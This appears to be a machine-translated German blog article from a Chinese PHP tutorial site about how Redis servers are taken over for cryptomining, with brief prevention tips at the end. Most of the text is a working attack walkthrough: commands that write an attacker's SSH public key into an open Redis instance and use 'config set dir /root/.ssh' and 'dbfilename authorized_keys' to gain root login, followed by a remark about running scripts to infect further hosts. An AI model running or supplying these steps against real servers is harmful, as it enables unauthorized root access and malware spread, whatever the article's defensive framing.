In diesem Artikel geht es um die Prinzipien des Redis-Minings, es wird erläutert, wie man es verhindern kann, und es werden Präventionstechniken vorgestellt. Ich hoffe, dass es für alle hilfreich sein wird!
Der Autor wurde auch von einem Mining-Virus angegriffen, was sehr unangenehm war, aber tatsächlich ist es sehr einfach, ihn zu verhindern, solange man die Mittel zum Eindringen versteht. Heute zeigen wir, wie man ihn erhält der Root-Benutzer des Remote-Servers durch Redis-Berechtigungseskalation. [Verwandte Empfehlungen: Redis-Video-Tutorial]
1. Zuerst benötigen wir einige Voraussetzungen
Bedingung 1: Sie müssen zuerst einen Redis haben und wir müssen seinen Port kennen [Standard 6379];
Bedingung 2: Das Passwort für Redis darf nicht zu komplex sein, oder es gibt kein Passwort.Generieren Sie ein Paar über ssh-keygen. Natürlich können Sie die bereits vorhandenen Schlüssel problemlos verwenden.
root@kali:/usr/local/src# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txtDer Inhalt ist wie folgt
root@kali:/tmp/rediskey# cat foo.txt ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali
2.2 Schlüssel für Redis konfigurieren
Der Vorgang ist wie folgt:
root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar OK
root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129 192.168.243.129:6379> get bar "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"
Sehen wir uns die folgenden Vorgänge an
192.168.243.129:6379> config set dir /root/.ssh OK 192.168.243.129:6379> config get dir 1) "dir" 2) "/root/.ssh" 192.168.243.129:6379> config set dbfilename "authorized_keys" OK 192.168.243.129:6379> save OK 192.168.243.129:6379> exit
root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129 The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established. ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts. Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64 Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1 root@kali:~# wOK, jetzt haben wir die Rechte erfolgreich eskaliert, also werfen wir einen Blick auf die exportierte Datei? Tatsächlich handelt es sich nur um die gespeicherte Dateiform von Redis. Wenn Sie interessiert sind, können Sie sie selbst öffnen und sehen. Sie wird hier nicht angezeigt.
Jetzt haben wir nur eine Host-Berechtigung, um einige Skripte auszuführen und sie dann stapelweise zu infizieren.
Die Tipps zur Vorbeugung lauten wie folgt:
Redis sollte nicht auf gefährliche IPs hören.
Redis muss die Passwortbeschränkungen erhöhen, und es darf kein schwaches Passwort sein
Weitere Programmierkenntnisse finden Sie unter:
Einführung in die ProgrammierungDas obige ist der detaillierte Inhalt vonEine kurze Analyse der Prinzipien des Redis-Mining und wie man es verhindern kann (Skill-Sharing). Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!